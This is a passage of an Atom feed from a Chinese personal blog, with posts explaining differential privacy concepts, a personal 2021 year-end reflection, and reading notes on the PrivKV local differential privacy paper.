<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>asKylin</title>
  
  <subtitle>The more a man learns, the more he knows his ignorance.</subtitle>
  <link href="http://askylin.top/atom.xml" rel="self"/>
  
  <link href="http://askylin.top/"/>
  <updated>2022-03-31T03:17:48.145Z</updated>
  <id>http://askylin.top/</id>
  
  <author>
    <name>asKylin</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Algorithmic Foundation of DP 1</title>
    <link href="http://askylin.top/2022/03/31/DP1/"/>
    <id>http://askylin.top/2022/03/31/DP1/</id>
    <published>2022-03-31T01:09:49.000Z</published>
    <updated>2022-03-31T03:17:48.145Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="一、差分隐私承诺"><a href="#一、差分隐私承诺" class="headerlink" title="一、差分隐私承诺"></a>一、差分隐私承诺</h1><p><strong>差分隐私</strong> 描述了数据持有者对数据主体的承诺：“无论您将数据用于任何研究或分析，都不会受到不利影响或其他影响。”</p><h2 id="1-1-隐私保护数据的分析（存在问题）"><a href="#1-1-隐私保护数据的分析（存在问题）" class="headerlink" title="1.1 隐私保护数据的分析（存在问题）"></a>1.1 隐私保护数据的分析（存在问题）</h2><ul><li>数据不能完全匿名并且仍然有用（背景知识）</li><li>重标识“匿名”记录并非唯一风险（匿名提供的隐私保护限度不高）</li><li>不具有保护性的大数据集查询（差分攻击）</li><li>查询审查存在的问题（审核、防止差分攻击语句是不现实的）</li><li>“不安全”的摘要统计</li><li>普适结论（长期的事实）并不“好”</li><li>“少数人”原则（为大多数用户提供隐私保护，而放弃或损害了少数用户的隐私）</li></ul><hr><h1 id="二、基本术语"><a href="#二、基本术语" class="headerlink" title="二、基本术语"></a>二、基本术语</h1><h2 id="2-1-计算模型"><a href="#2-1-计算模型" class="headerlink" title="2.1 计算模型"></a>2.1 计算模型</h2><p>假设存在一个可信的和可信赖的数据提供者，他将个人的数据保存在数据库$D$中，通常由若干$N$行组成。数据库每一行包含单个个体的数据，而隐私目标是同时保护每个个体行，同时允许对整个数据库进行统计分析。</p><p>非交互式或离线的模型：数据提供者会一次性地生成某种对象，例如“合成数据库”、“摘要统计数据集合”或“净化数据库（经数据清洗的数据库）”。发布后，数据提供者不再扮演任何角色，原始数据可能会被销毁。</p><p>交互式或在线模型：允许数据分析员自适应地询问查询，根据观察到的对先前查询的响应来决定下一个查询的位置。</p><p>差分隐私机制是一种算法。</p><p>输入：一个数据库或一组全体数据类型 $\mathcal{X}$（所有可能的数据库行）、随机位和一组查询（可选）</p><p>输出：字符串。</p><p>希望可以对输出字符串进行解码，以便对查询产生相对准确的答案。如果没有出现任何查询，那么我们就处于非交互式的情况下，希望输出字符串可以被解释为将来的查询提供答案。</p><p>在某些情况下，我们可能要求输出字符串是合成数据库。这种合成数据库是由所有可能的数据库行（ $\mathcal{X}$）中得到的多集合组成。这种情况下的解码方法是对合成数据库进行查询，然后应用一些简单的变换，如缩放因子的乘法，使其近似于查询的真实答案。</p><h2 id="2-2-定义隐私数据分析"><a href="#2-2-定义隐私数据分析" class="headerlink" title="2.2 定义隐私数据分析"></a>2.2 定义隐私数据分析</h2><p>隐私：要求分析人员在分析完成后对数据集中的任何个人的了解不超过分析开始前的了解。这一目标的形式化也是很自然的，要求对手对个人的前后认知（即访问数据库之前和之后的认知）不应该“差别过多”，或者对数据库的访问不应该“过多”地改变对手对任何个人的认知。</p><p>可用性</p><h2 id="2-3-形式化差分隐私"><a href="#2-3-形式化差分隐私" class="headerlink" title="2.3 形式化差分隐私"></a>2.3 形式化差分隐私</h2><p>随机响应技术</p><p>定义2.1<strong>（概率单纯形）</strong>给定一个离散集$B$，将$B$上的概率单纯形，表示为$\Delta(B)$ ，其定义为：</p><script type="math/tex; mode=display">\Delta (B)=\{x\in \mathbb{R}^{|B|}:x_i\geq0\space for\space all \space i\space and \space \sum_{i=1}^{|B|}x_i=1\}</script><p>定义2.2 <strong>（随机化算法）</strong>具有域$A$和离散范围$B$的随机算法$\mathcal{M}$与 映射$M:A \to \Delta(B)$相关联。 在输入$a∈A$时，算法$\mathcal{M}$以概率$M(a)_b$输出$\mathcal{M}(a)=b$ $(b∈B)$。概率空间在算法$\mathcal{M}$的硬币翻转上（意思是算法$\mathcal{M}$随机翻转随机串的比特位，形成随机性）。</p><p>定义2.3 <strong>（数据库之间距离）</strong>将数据库的$\ell_1$范数距离表示为$\Vert x\Vert _1$其定义为:</p><script type="math/tex; mode=display">\Vert x\Vert _1=\sum_{i=1}^{|\mathcal{X}|}|x_i|</script><p>数据库$x$和$y$之间的$\ell_1$距离为$\Vert x-y\Vert _1$。$\Vert x\Vert _1$是衡量数据库$x$的大小（也就是说，数据库$x$包含的记录数），而$\Vert x-y\Vert _1$表示数据库$x$和$y$之间相差多少条记录。我们称这种记录相差为1的数据库为相邻数据集。</p><p>注解：数据库$x$视为来自全集$\mathcal{X}$的记录的集合。用它们的直方图表示数据库通常会很方便：$x \in \mathbb{N}^{|\mathcal{X}|}$，其中每个项$x_i$表示数据库$x$中类型$i\in\mathcal{X}$元素的数量。</p><p>定义2.4 <strong>（差分隐私）</strong>对于所有的$\mathcal{S} \subseteq Range(\mathcal{M})$且所有的$x,y\in \mathbb{N}^{|\mathcal{X}|}$有$\Vert x-y\Vert _1 \leq 1$，如果满足下列关系：</p><script type="math/tex; mode=display">Pr[\mathcal{M}(x)\in \mathcal{S}] \leq exp(\varepsilon)Pr[\mathcal{M}(y)\in \mathcal{S}]+\delta</script><p>则将这个域在$\mathbb{N}^{|\mathcal{X}|}$的随机算法$\mathcal{M}$称为$(\varepsilon,\delta)$差分隐私（ $(\varepsilon,\delta)$- Differentially private）。其中概率空间在算法$\mathcal{M}$的硬币翻转上。特别的，如果$\delta=0$，则将$\mathcal{M}$称为$\varepsilon$差分隐私(即$\varepsilon \text{-} Differentially \ private$)。</p><p><strong>机制质量（隐私损失）</strong>：</p><script type="math/tex; mode=display">\mathcal{L}_{\mathcal{M}(x)||\mathcal{M}(y)}^{(\xi)}=ln(\frac{Pr[\mathcal{M}(x)=\xi]}{Pr[\mathcal{M}(y)=\xi]})</script><p>$(\varepsilon,\delta)$差分隐私确保对于所有相邻的$x$、$y$，隐私损失的绝对值小于等于$\varepsilon$的概率至少为$1-\delta$。</p><p>命题 2.1 <strong>（后处理）</strong>令$\mathcal{M}: \mathbb{N}^{|\mathcal{X}|} \to R$是$(\varepsilon,\delta)$- 差分隐私随机算法。 令$f:R \to R’$为任意随机映射。 则$f \circ \mathcal{M}: \mathbb{N}^{|\mathcal{X}|} \to R’$是$(\varepsilon,\delta)$- 差分隐私。</p><p>定理2.2 任意一个大小为$k$的群体，这个群体的机制$\mathcal{M}$是$(\varepsilon,0)$- 差分隐私，则这个机制$\mathcal{M}$会变成 $(k\varepsilon,0)$- 差分隐私。也就是说，对于所有$\Vert x-y\Vert _1 \leq k$和所有$\mathcal{S} \subseteq Range(\mathcal{M})$有:</p><script type="math/tex; mode=display">Pr[\mathcal{M}(x)\in\mathcal{S}]\leq exp(k\varepsilon)Pr[\mathcal{M}(y)\in\mathcal{S}]</script><p>概率空间在机制$\mathcal{M}$的硬币翻转上。</p><p>（个人理解：群体是由多个不同类型数据集组合形成的，群隐私是指一个隐私保护机制（查询）应用于相差多条记录的两个数据集上，对所有的这些数据集都采用机制$\mathcal{M}$，则机制$\mathcal{M}$会变成 $(k\varepsilon,0)$- 差分隐私。但群隐私与隐私参数合成相加定理不同，若$\delta\neq 0$，则大小为$k$的群体是$(k\varepsilon,ke^{(k-1)\varepsilon}\delta)$-差分隐私。合成定理可以理解为对一个数据集采用多次具有差分隐私的机制，这样得到的新机制可以参数相加）</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;Algorithmic Foundation of DP 第一二章阅读笔记&lt;/center&gt;</summary>
    
    
    
    <category term="private protection" scheme="http://askylin.top/categories/private-protection/"/>
    
    
    <category term="DP" scheme="http://askylin.top/tags/DP/"/>
    
  </entry>
  
  <entry>
    <title>恒与变</title>
    <link href="http://askylin.top/2021/12/31/Summary2021/"/>
    <id>http://askylin.top/2021/12/31/Summary2021/</id>
    <published>2021-12-31T09:41:51.000Z</published>
    <updated>2022-03-31T03:13:13.701Z</updated>
    
    <content type="html"><![CDATA[<hr><p>此时是2021年12月31日17点20分，是在上完最后一节机器学习和等待最后一节网络与系统安全课程的时间间隔里，开始总结这一年。<br>国科大的期末，有人已经准备放假，而有人还在马不停蹄的准备考试。而在忙碌的日子里，我还是强制让自己停下脚步，以表达对这一年的敬意。<br>上半年，大四下学期如期开学，我到学校，见到守一，他第一句话就是：“你不是说这学期不来了吗？”是啊，我也本以为大四的最后一学期会在信工所里渡过，然后毕业时才会回到学校参加个毕业典礼走个过场。但到了这最后的一学期，情绪总是会变得想要更加珍惜，总还是想和大家一起结束。于是我依然选择回到学校。现在来看，我很庆幸这半学期能够和大家一起过最后的分别。<br>最后的这一学期，毕业设计虽然是一件重要的事情，但它不是我生活的主要组成了。我在大学的最后半年里决定体验自己想要体验的大学生活。和室友一起KTV，旅游，聚餐，一起侃天侃地。但欢乐的时光总是短暂的，毕业和分别的情绪总是参杂在日常的生活中。而一瞬间，似乎就到了毕业季。<br>学院组织的毕业季，其实就是大家一起穿上好看的衣装，将自己打扮成满意的模样，然后合影以及和教过我们的老师们做交流和道别罢了。在我感性的记忆中，它是充满夏日午后阳光的颜色，是停机坪青草的味道。待到拿到毕业证书那一天，许多同学都分享了毕业的动态，为了稍显仪式感和纪念性，我也一样。只是当时感觉多了几分毕业的伤感，心里又想着永远停留在这个时光多好。<br>6月，这是毕业前与毕业时的故事，大都是与我的室友们一起度过的回忆。毕业当天，我们收拾好行李，一起开启了毕业旅行。关于这场旅行，我已做好了毕业Vlog，永远保存在我的电脑上，记忆里。此时的颜色，是最绚烂的彩色，充斥着我的世界。<br>但绚烂的美好总如流星般划过，毕业旅行结束后没几天，就开始了研究生的生活——到研究所实习。整个暑假一个人在北京度过。独自在异乡，每天重复着同样的路程，在地铁上，走在北京的路上，心情的颜色总是多变的，但总是蒙上了一层灰色。<br>9月，开学。开始新的生活，新的室友，新的老师，新的忙碌。这几个月，我觉得都是白色的，简单、复杂、无趣、有趣。</p><p><strong>关于未来</strong><br>希望2022能找到自己的研究idea，尽早进行研究和论文工作。同时而也希望遇到未来那个她吧！</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;2021的颜色是渐变色。2022又会是什么样的色彩呢？&lt;/center&gt;</summary>
    
    
    
    <category term="summary" scheme="http://askylin.top/categories/summary/"/>
    
    
    <category term="summary" scheme="http://askylin.top/tags/summary/"/>
    
  </entry>
  
  <entry>
    <title>Basic Differential Privacy</title>
    <link href="http://askylin.top/2021/10/21/DP-basic/"/>
    <id>http://askylin.top/2021/10/21/DP-basic/</id>
    <published>2021-10-21T00:34:01.000Z</published>
    <updated>2022-03-31T02:52:35.865Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>本篇文章主要是面向对差分隐私零基础的朋友，我在介绍差分隐私相关的基础知识时尽可能地用简单的语言去讲解，因此准确性和严格性可能不太高，已经熟悉差分隐私的大佬们可以忽略该文章，也欢迎提出意见和建议！</p></blockquote><hr><h1 id="一个例子"><a href="#一个例子" class="headerlink" title="一个例子"></a>一个例子</h1><p>差分隐私是什么？我们为什么关注差分隐私？这里以一个例子来简单理解下：大家应该都知道QQ群中有群成员概况，可以显示群成员在全国各省市的分布数量、男女比例和具体人数，甚至还有单身数量的统计（这个现在的版本好像不会显示了）。假设张三在某一个QQ群中，平时就喜欢查看成员概况，然后某一天，你加入了这个群，张三看到群成员概况里面，男生或者女生人数突然增加了1，海淀区和90后人数增加了1人，还发现居然单身的人数又多了一个，然后一看群，发现你加进群了，于是对他来说，奇怪的知识又增加了，原来你是一只单身狗。但对于你来说，你也许并不想让你单身的信息被别人知道，但因为上面发生的情况，你的信息就无意识的被暴露了。那为了避免这种事情的发生，有什么办法呢？差分隐私就应运而生了。它就是用来解决这类问题，让攻击者不会因为新样本的出现而推测到新的信息。</p><hr><h1 id="差分隐私的定义"><a href="#差分隐私的定义" class="headerlink" title="差分隐私的定义"></a>差分隐私的定义</h1><p>对于随机函数$M$，$P_m$是$M$的所有可能的输出结果的集合，$Pr[\cdot]$表示概率，对于任意两个只相差一项纪录的数据集，即相邻数据集$D$和$D’$，$P_m$的任意子集$S_m$，算法$M$满足：</p><script type="math/tex; mode=display">Pr[M(D)\in S_m]\leq e^{\epsilon}Pr[M(D')\in S_m]</script><p>那么就说明该函数提供$\epsilon-$差分隐私保护。</p><p>我觉得应该不止我一个人第一次看到这个数学定义会感觉有点懵吧，用人类能听懂的话和这个图来理解，就是两个相差一条记录的数据集，随机函数看作查询函数，对这两个数据集进行查询，然后我们把查询结果映射到概率分布上，这两条曲线就是查询结果映射后的概率分布曲线。如果两次结果的概率分布非常接近，那么就说它满足$\epsilon-$差分隐私保护。这个接近的程度是由这个$\epsilon$决定的，我们称之为隐私预算。由定义的不等式可以看出，隐私预算越小，分布越接近，保护程度越大，但反过来想，要使分布越接近，那么势必会引入较大噪声，数据精度会受到更大的影响。</p><img src="/2021/10/21/DP-basic/%E6%A6%82%E7%8E%87%E5%AF%86%E5%BA%A6.png" class=""><p>就刚刚张三那个例子而言，你加入群前，张三看到这个单身人数是56个，你加进去之后，张三看到的单身人数还可能是56个，这样就保护了你单身这个个人隐私。定义里面的数学不等式，是以两个$D$和$D’$分布尽可能的接近为目的来计算得到的，利用了信息论中的KL散度和Max散度推导而来。感兴趣的同学可以自行深入了解。</p><p>那么关于这个定义，还有最后一个问题就是，为什么$\epsilon$被称为隐私预算呢？既然被称为预算，那么就说明差分隐私保护是会被消耗的，我们来简单的理解一下：我们知道查询结果是一个概率分布了，那作为攻击者来说，我可以不断地进行同一个查询，如果查询次数足够多的话，攻击者可以猜到结果的概率分布，进而推测出准确值，那么说明丧失了隐私保护能力了。那么每一次查询都可以看作消耗了$\epsilon$的隐私保护，我们固定一个总的能被允许的消耗，而$\epsilon$越小，那么表示会有更多次查询才会使隐私保护能力丧失。这里也可以看出差分隐私保护也许和我们日常理解的隐私保护不同，它是有限制的，会被消耗的，不是一旦使用了差分隐私保护机制就能够永久保护隐私的。</p><img src="/2021/10/21/DP-basic/%E9%9A%90%E7%A7%81%E9%A2%84%E7%AE%97%E6%B6%88%E8%80%97.png" class=""><p>从定义就可以看出，差分隐私能够防止攻击者拥有大量背景知识进而推测出隐私信息，同时其建立在严格的数学定义上，提供了可量化评估的方法。</p><hr><h1 id="性质"><a href="#性质" class="headerlink" title="性质"></a>性质</h1><p>差分隐私还有一些有趣的性质：串行组合、并行组合、变换不变、中凸；</p><p>其中串行组合的意思就是如果k个差分隐私保护算法同时作用于同一个数据集，那么最终的隐私预算就等价于这k个算法的预算和；这也很好理解，假设第一次加噪声处理后有$\epsilon$的预算了，第二次的时候又进行了一次差分隐私保护处理，又添加了噪声，那么噪声就更大了，那么隐私预算也应该相应的增加。</p><img src="/2021/10/21/DP-basic/%E4%B8%B2%E8%A1%8C.png" class=""><p>并行组合就是多个算法分别作用在同一个数据集上的多个子集上，最终隐私预算等价于这些算法中隐私预算最大的一个。</p><img src="/2021/10/21/DP-basic/%E5%B9%B6%E8%A1%8C.png" class=""><p>变换不变：对于任意算法A1满足ε-差分隐私，对于任意算法A2，有A(·)=A2(A1(·))满足ε-差分隐私。</p><p>中凸：两个算法都满足ε-差分隐私，这两个算法分别以p和1-p的概率使用，构成一个机制，则该机制满足ε-差分隐私。</p><hr><h1 id="常见机制"><a href="#常见机制" class="headerlink" title="常见机制"></a>常见机制</h1><p>Laplace机制（针对数值型数据）和指数机制（针对离散性数据），其核心思想就是对查询结果添加适量扰动、噪声，来满足差分隐私保护。其中，对加入噪声进行的度量由<strong>敏感度</strong>来决定，敏感度指数据集中删除任意一条记录对查询结果产生的最大影响：</p><script type="math/tex; mode=display">\Delta f = \max_{D,D'}||f(D)-f(D')||_1</script><p>敏感度又分为：</p><ul><li><p>全局敏感度：核心是对于查询函数的作用域上，任意相邻数据集删除任意一条记录对查询结果产生的最大影响。只与查询函数本身有关。</p></li><li><p>局部敏感度：对于给定的相邻数据集，删除任意一条记录对查询结果产生的最大影响。与查询函数本身和选定的数据集有关</p></li></ul><p>敏感度越大，所需要加入的噪声也就越大。</p><p><strong>Laplace机制</strong></p><p>Laplace机制如下公式所示，其中，f(D)表示的是查询函数， 表示的是满足Laplace分布的随机噪声， M(D)表示的是最后的返回结果。</p><script type="math/tex; mode=display">\mathcal{M}=f(D)+\text{Lap}(\frac{\Delta f}{\varepsilon})</script><p>特点：适合数值型数据，ε越小，添加的噪声越大。</p><p><strong>指数机制</strong></p><p>以</p><script type="math/tex; mode=display">M(D,q,R_i)\sim e^{\frac{\varepsilon q(D,R_i)}{2\Delta q}}</script><p>的概率输出结果$R_i$。其中$q$表示一个打分函数，$D$表示数据集，$R_i$表示一个输出结果，这个函数的意思就是对$D$的输出结果打分。得分高的输出概率高，得分低的输出概率低。</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;差分隐私基础介绍&lt;/center&gt;</summary>
    
    
    
    <category term="private protection" scheme="http://askylin.top/categories/private-protection/"/>
    
    
    <category term="DP" scheme="http://askylin.top/tags/DP/"/>
    
  </entry>
  
  <entry>
    <title>PaperRecord - PrivKV</title>
    <link href="http://askylin.top/2021/09/24/Paper-PrivKV/"/>
    <id>http://askylin.top/2021/09/24/Paper-PrivKV/</id>
    <published>2021-09-24T11:22:56.000Z</published>
    <updated>2021-10-02T17:04:33.836Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a>摘要</h1><p>LDP优势：数据收集者不用访问敏感数据而收集到精确的统计估计。</p><p>论文主要工作：</p><ul><li>设计了一个基线方法PrivKV;</li><li>PrivKVM和PrivKVM+两个迭代方案去提高估计精度；</li><li>一个优化策略来减少网络延迟和提高精度；</li><li>验证以上方案的正确性和效率</li></ul><hr><h1 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h1><p>论文工作内容概述：</p><ul><li>Local perturbation protocol (LPP) 扰动key-value对；</li><li>三个基于LPP的方案：PrivKV，PrivKVM，PrivKVM+；</li><li>一个优化策略让数据收集者执行虚拟PrivKV迭代，减少网络延迟和提高数据精度</li></ul><hr><h1 id="Related-Work"><a href="#Related-Work" class="headerlink" title="Related Work"></a>Related Work</h1><p>LDP可用于：</p><ul><li>分类数据上的频率估计；</li><li>用频率估计作为保护数据隐私的原语；</li><li>数值型数据的均值估计；</li></ul><hr><h1 id="Preliminaries-and-Problem-Definition"><a href="#Preliminaries-and-Problem-Definition" class="headerlink" title="Preliminaries and Problem Definition"></a>Preliminaries and Problem Definition</h1><p><strong>A. 本地化差分隐私（LDP）</strong></p><p>LDP的基本流程：数据拥有者在本地使用随机机制扰动数据$\rightarrow$传递这个”消毒“版本数据给不受信任的数据收集者中。</p><p><strong>定义1</strong> $\epsilon-LDP$：$D$表示整个数据集，一个随机化函数$\mathcal{M}$满足$\epsilon-LDP$，当且仅当任意两个输入数据元组$t,t’\in D$和任意输出$t^*$，以下不等式始终成立。</p><script type="math/tex; mode=display">Pr[\mathcal{M}(t)=t^*]\le e^{\epsilon}\times Pr[\mathcal{M}(t')=t^*]</script><p>与中心化差分隐私定义在<strong>两个相邻数据集</strong>不同，$\epsilon-LDP$是定义在一个数据集的<strong>两个数据元组</strong>上，可以直观的理解为通过观察输出$t^*$，数据收集者不能通过高置信度（由$\epsilon$控制）推断出输入元组是$t$或是$t’$</p><p>满足顺序合成性（Sequential Composition）</p><p>第五节中的迭代解决方案，利用了顺序合成性，给定一个隐私预算$\epsilon$，可以将其分为多个部分，每一个预算都可以被用于一个随机算法来从源数据中收集可用信息。</p><p><strong>B. 随机响应（RR）</strong></p><p>随机回答一些敏感的布尔问题来实现看似可信的否认能力。一般回答真实答案的概率为$p$，回答对立答案的概率为$1-p$。</p><p>为使RR满足$\epsilon-LDP$，设置$p$为$p=\frac{e^{\epsilon}}{1+e^{\epsilon}}$，但“真”的概率（表示为$f$）是直接从所有被扰动后存在偏差的回答中获取的，所以数据收集者需要校准并报告$f’$：</p><script type="math/tex; mode=display">f'=\frac{p-1+f}{2p-1}</script><p><strong>C. 问题定义</strong></p><p>LDP背景下key-value数据上的分布式数据聚合问题</p><p>论文关注与两个基本估计：</p><ul><li>频率估计：密钥$k$的频率$f_k$定义为拥有密钥为$k$的$KV$对的用户部分占总用户的比例。 </li><li>均值估计：键$k$的均值$m_k$定义为键为$k$的$KV$对中所有值的均值。</li></ul><hr><h1 id="PRIVKV-A-BASELINE-APPROACH"><a href="#PRIVKV-A-BASELINE-APPROACH" class="headerlink" title="PRIVKV: A BASELINE APPROACH"></a>PRIVKV: A BASELINE APPROACH</h1><p>基线方法PrivKV通过对key和value添加扰动来保护key-value数据，同时几乎保留真实的频率和均值。</p><p><strong>A. 有缺陷的键扰动协议</strong></p><p>首先转化$KV$对集合，将键转化为$\{0,1\}$上的整数值，1表示存在KV对，0表示不存在KV对：</p><img src="/2021/09/24/Paper-PrivKV/1.png" class=""><p>对键$k$直接使用RR，对值的更改基于对键的扰动，有以下四种情况：</p><ul><li><p>$1\rightarrow1$：保留原值$\langle1,v\rangle\rightarrow\langle1,v\rangle$</p></li><li><p>$1\rightarrow0$：值置为0$\langle1,v\rangle\rightarrow\langle0,0\rangle$</p></li><li><p>$0\rightarrow0$：KV对不存在，也就不存在改变$\langle0,0\rangle\rightarrow\langle0,0\rangle$</p></li><li><p>$0\rightarrow1$：新形成的KV对，值随机从$\{-1,1\}$之间取</p></li></ul><p>其缺陷在于第四种情况：首先，随着数据者接收到更多的真值，她能够以高置信度区分真值（情况1）和指定的值（情况4），特别是当真值的分布明显与$[-1,1]$上的均匀分布偏离时。 其次，[−1, 1] 的均匀分布导致均值为 0，这会影响该键的均值估计。</p><p><strong>B. 本地扰动协议：补救措施</strong></p><p>一种补救措施：无论是真实值还是指定值，任何值都添加干扰。</p><p>Harmony算法：离散、扰动、校准</p><img src="/2021/09/24/Paper-PrivKV/Harmony.png" class=""><p>原始的值扰动算法：基于Harmony，将校准步骤移至数据收集者方，设置数据收集者能够精确地对键计数并求和值来计算均值，在校准后添加条件校正（eg：假设总共有对-1和1的计数，若），去除由Harmony引起的异常值。</p><img src="/2021/09/24/Paper-PrivKV/2.png" class=""><p>组合键扰动协议和原始值扰动算法得到本地扰动协议（LPP）：</p><img src="/2021/09/24/Paper-PrivKV/3.png" class=""><p>LPP满足$(\epsilon_1+\epsilon_2)-LDP$</p><p><strong>C. PrivKV：把事情结合起来</strong></p><p>PrivKV对频率和均值的完整方案，包含用户端的扰动和收集者端的校准。</p><img src="/2021/09/24/Paper-PrivKV/4.png" class=""><p>论文将任何大于N或小于0的计数视为异常值，并修正他们分别为N和0。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">对于频率和均值为什么几乎一致?</span><br><span class="line">键的频率校准是通过极大似然估计求得，所以频率几乎一致。</span><br><span class="line">用户扰动后离散值&#123;-1，1&#125;的计数实际上也是通过极大似然估计校正，这里离散值的形成和原值的构成的概率相关，举个例子，原值0.1，总共100个，离散后有55个1，45个-1，求均值还是0.1，所以这里均值相似。</span><br></pre></td></tr></table></figure><hr><h1 id="PrivKVM-AN-ITERATIVE-SOLUTION"><a href="#PrivKVM-AN-ITERATIVE-SOLUTION" class="headerlink" title="PrivKVM: AN ITERATIVE SOLUTION"></a>PrivKVM: AN ITERATIVE SOLUTION</h1><p>PrivKV存在的问题：PrivKV以不当分配新值来保证LDP</p><p>PrivKVM和PrivKVM+的做法：多次迭代PrivKV让分配的新值所在的分布基本与真实值相同。</p><p><strong>A. 一个迭代模型</strong></p><p>前一个$v^*$的离散化估计均值作为下一个迭代的分配值。迭代模型如图：</p><img src="/2021/09/24/Paper-PrivKV/5.png" class=""><p>为防止步骤六中$\tilde{m}$被泄露给用户，数据收集者不会直接将其回传给用户，而是通过当前迭代返回一个新的且独立的样例值$v^*$，该值是$\tilde{m}$的离散化值，它分别以$\frac{1+\tilde{m}}{2}$和$\frac{1-\tilde{m}}{2}$的概率被设置为1或-1。由于这两种概率仅为数据收集者所知，任何用户都无法推断$\tilde{m}$，除非大量用户串通并共享其接收到的1和-1。在这种极端情况下，保护$\tilde{m}$不再是必要的，因为这些用户可以自己推导出来。</p><p>数学上可证明：算法的求得的均值$\tilde{m}_k^*$是真实的$m_k$的近似解。核心思想就是如果数据收集者返回的估计均值，基于这个值对所有原始数据的估计就可以估计出key的对应的均值，并且估计是无偏估计。</p><p>对于迭代模型中的步骤5、7，可以设计基于先验知识的异常值校正方案：</p><p>数据收集者记录上一次迭代的估计平均值。在随后的迭代中，所有出现的异常值都将被这些记录的平均值所取代。这种校正方案也有助于提高迭代模型的精度。</p><p><strong>B. PrivKVM</strong></p><p>该算法如下所示，需要注意的是隐私预算$\epsilon$通过隐私预算分配策略（PBA）被分为$\{\epsilon_{11},…,\epsilon_{1c},\epsilon_{21},…\epsilon_{2c}\}$，PBA有线性分配、均匀分配、指数分配、自适用性分配以及混合分配等，通过分析敏感度等方面，分配合适的隐私预算。</p><img src="/2021/09/24/Paper-PrivKV/PrivKVM.png" class=""><p>其中在本地差分隐私中$v^*$用于原本不存在的键被扰动成键为1时，其值的取值。</p><p>论文的PBA类似于均匀分配：首先平均分配隐私预算$\epsilon$用于keys和values，比如$\epsilon_1=\epsilon_2=\frac{\epsilon}{2}$。在迭代中，只需要第一次的key作为输出，因此$\epsilon_{11}=\epsilon_1$，且$\epsilon_{12},…,\epsilon_{1c}=0$；对于均值估计，将$\epsilon_2$平均分配给每一次迭代。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">对于键，是否需要这么大的隐私预算？该方案中的PBA是否合理？（论文是否有阐述为什么采取该PBA）</span><br></pre></td></tr></table></figure><p>对于多维数据，PrivKVM拓展直观。对于键，直接展开到键域上成为一维；对于值，对每一维度的值分别单独扰动。不会损失键和每一维值的相关性。</p><p>PrivKVM还可以用于中位数和百分比统计。中位数利用频率表，分成两个面积相等的区域，中间的即为中位数。为了提高估计精度并减少对均匀假设的依赖，论文通过在频率直方图中使用多个 bin 来进一步推广这个想法。</p><p>PrivKVM适用于：归档数据集收集、历史数据。真实时间数据不太适合。</p><p>多次迭代会增加数据收集的响应时间（影响数据收集效率）。只要键或值分布没有改变，PrivKVM 仍然可以处理迭代之间的键值数据变化。</p><p><strong>C. 隐私和准确性分析</strong></p><p>PrivKVM满足$\epsilon-LDP$（根据顺序合成性质）</p><p>PrivKVM的真实均值与估计均值的期望值之差收敛为零。</p><p>PrivKVM在最坏情况下，真实均值与估计均值的差值是有界</p><p><strong>D. PrivKVM+：一个自适应变种</strong></p><p>PrivKVM需要迭代$c$次，但这个次数很难确定。理论情况下，$c$无穷大时，精确度最好，但通信和执行时间会巨大。因此提出PrivKVM+取根据消耗（通信、执行时间等）自适应的决定$c$的值。</p><p>论文定义了一个开销函数$F(r)=F_1(r)+F_2(r)$，其中$F_1(r)$是准确率开销、$F_2(r)$是通信开销（由于执行时间由通信带宽决定，论文将执行时间成本合并到通信成本中）。</p><p>$F_1(r)$通过所有键的均值的绝对误差的平均值计算：</p><script type="math/tex; mode=display">F_1(r)=\frac{1}{d}\sum_{k\in\mathcal{K}}|m_k-m_k^{(r)}|</script><p>因为每次通信的开销是一个常数值，所以有：</p><script type="math/tex; mode=display">F_2(r)=A_0\cdot r</script><p>当迭代次数$r$增大，$F_1(r)$减少并且相对越来越不重要，而$F_2(r)$以恒定比例$A_0$增长。因此，当$F_1(r)$的减少不能再补偿$A_0$的增加时，$F(r)$达到全局最小值。当第一个$F(r)-F(r-1)=A_0-\frac{1}d\sum_{k\in\mathcal{K}}|m_k^{(r)}-m_k^{(r-1)}|\geq0$时，也就是说第一次出现第$r$轮迭代产生的开销大于第$r-1$时，就选取迭代次数为$r$，此时的总体开销最小。（论文未严格证明，只是上式很容易被算法实现）</p><p>PrivKVM+算法在隐私预算分配时，使用PBAt策略，该策略使用了“指数衰减”策略（$t=a(1-b)^x$）动态地将剩余的隐私预算的$\frac{1}t$分配给当前迭代（这样一开始的t比较大，然后逐渐变小，也就是说一开始分配的隐私预算小，收敛慢，到后面分配的隐私预算越来越大，估计逐渐收敛，这样会比较精确。但文章中没有说明初始t值的选取，该值的估计个人认为又是一个待研究的问题）。t 可以是任何大于1的值。t越小，分配给当前迭代的隐私预算就越大，估计收敛得更快。但如果t太接近1，则收敛可能会过早，因为大多数隐私预算都浪费在早期迭代中，其中估计的均值对于下一次迭代来说就十分不准确了。</p><img src="/2021/09/24/Paper-PrivKV/PrivKVM+.png" class=""><p>第2步与LPP算法不太一样，这里是直接设置一个初始$\tilde{m}=1$，论文没有说明具体这样做的理由。</p><hr><h1 id="VIRTUAL-ITERATIONS-AN-OPTIMIZATION-ON-LATENCY-AND-ACCURACY"><a href="#VIRTUAL-ITERATIONS-AN-OPTIMIZATION-ON-LATENCY-AND-ACCURACY" class="headerlink" title="VIRTUAL ITERATIONS: AN OPTIMIZATION ON LATENCY AND ACCURACY"></a>VIRTUAL ITERATIONS: AN OPTIMIZATION ON LATENCY AND 